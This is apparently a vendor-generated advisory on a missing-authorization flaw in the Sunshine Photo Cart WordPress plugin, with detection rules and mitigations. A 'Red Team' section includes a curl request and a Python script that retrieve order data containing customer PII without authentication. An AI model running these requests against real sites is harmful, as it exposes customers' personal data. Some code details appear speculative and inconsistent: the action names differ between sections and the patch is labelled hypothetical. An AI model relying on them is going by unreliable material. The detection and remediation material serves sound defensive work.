CVE-2025-62892

Executive Summary

CVE-2025-62892 is a Missing Authorization vulnerability in the Sunshine Photo Cart WordPress plugin (versions <= 3.5.3). This flaw allows unauthenticated attackers to access backend functionality that should be constrained by Access Control Lists (ACLs). The vulnerability is classified under CWE-862: Missing Authorization and carries a CVSS v3.1 base score of 5.3 (Medium). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the lack of a patch makes it a persistent risk for all sites running the affected plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, the supply chain risk is elevated: any site using Sunshine Photo Cart <= 3.5.3 is exposed. Administrators must treat this as a zero-day until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – limited data exposure.
• Integrity (I): None (N) – no data modification.
• Availability (A): None (N) – no denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but has limited impact on confidentiality. However, the absence of a patch means it could be chained with other flaws.

Deep Dive & Mechanics

The vulnerability resides in the plugin's AJAX handlers and REST endpoints. The plugin fails to perform proper capability checks before executing sensitive actions such as:

• Retrieving order details
• Accessing customer data
• Modifying cart settings

An attacker can send crafted HTTP requests to endpoints like /wp-admin/admin-ajax.php with action parameters that bypass authentication checks. For example, the sunshine_photo_cart_get_orders action may not verify wp_nonce or user capabilities.

Root Cause: The plugin uses wp_ajax_nopriv_* hooks for some actions without verifying the user's role, allowing unauthenticated access.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.5.3):

add_action('wp_ajax_nopriv_sunshine_get_orders', 'sunshine_get_orders');
function sunshine_get_orders() {
    // No capability check
    $orders = get_posts(array('post_type' => 'sunshine_order'));
    wp_send_json($orders);
}

Patched Code (hypothetical):

add_action('wp_ajax_sunshine_get_orders', 'sunshine_get_orders');
add_action('wp_ajax_nopriv_sunshine_get_orders', 'sunshine_get_orders_denied');
function sunshine_get_orders() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $orders = get_posts(array('post_type' => 'sunshine_order'));
    wp_send_json($orders);
}
function sunshine_get_orders_denied() {
    wp_die('Unauthorized', 403);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Sunshine Photo Cart <= 3.5.3 active.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/wp-admin/admin-ajax.php
2. Send a crafted POST request:

curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=sunshine_get_orders"

3. The server responds with JSON containing order data, including customer PII.

Automated Script:

import requests

target = "http://target/wp-admin/admin-ajax.php"
data = {"action": "sunshine_get_orders"}
response = requests.post(target, data=data)
print(response.text)

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action parameters not preceded by a valid nonce.
• Look for wp_ajax_nopriv_* actions that return sensitive data.

Honeypot:

• Deploy a fake endpoint that logs all requests and alerts on unauthorized access.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=sunshine_get_orders or similar.
• Logs: WordPress debug log entries showing wp_ajax_nopriv_sunshine_* calls.
• File: Presence of sunshine-photo-cart plugin directory with version <= 3.5.3.

Detection Engineering

YARA Rule

rule CVE_2025_62892_Sunshine_Photo_Cart {
    meta:
        description = "Detects vulnerable Sunshine Photo Cart plugin files"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-62892"
    strings:
        $vuln_func = "wp_ajax_nopriv_sunshine_" ascii wide nocase
        $vuln_file = "sunshine-photo-cart.php" ascii wide nocase
    condition:
        $vuln_func and $vuln_file
}

Sigma Rule

title: CVE-2025-62892 - Unauthenticated AJAX Access to Sunshine Photo Cart
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated AJAX requests targeting Sunshine Photo Cart endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=sunshine_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62892 - Sunshine Photo Cart Unauthenticated AJAX Access"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=sunshine_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests containing action=sunshine_ in POST bodies to admin-ajax.php.
3. Restrict access to /wp-admin/admin-ajax.php via .htaccess:

<Files "admin-ajax.php">
    Require all denied
</Files>

Long-term:

• Monitor the plugin repository for updates.
• Consider replacing with an alternative photo cart plugin that follows secure coding practices.

Valters IT Signature:

Report generated by Valters IT DevSecOps Framework. For questions, contact security@valters-it.com.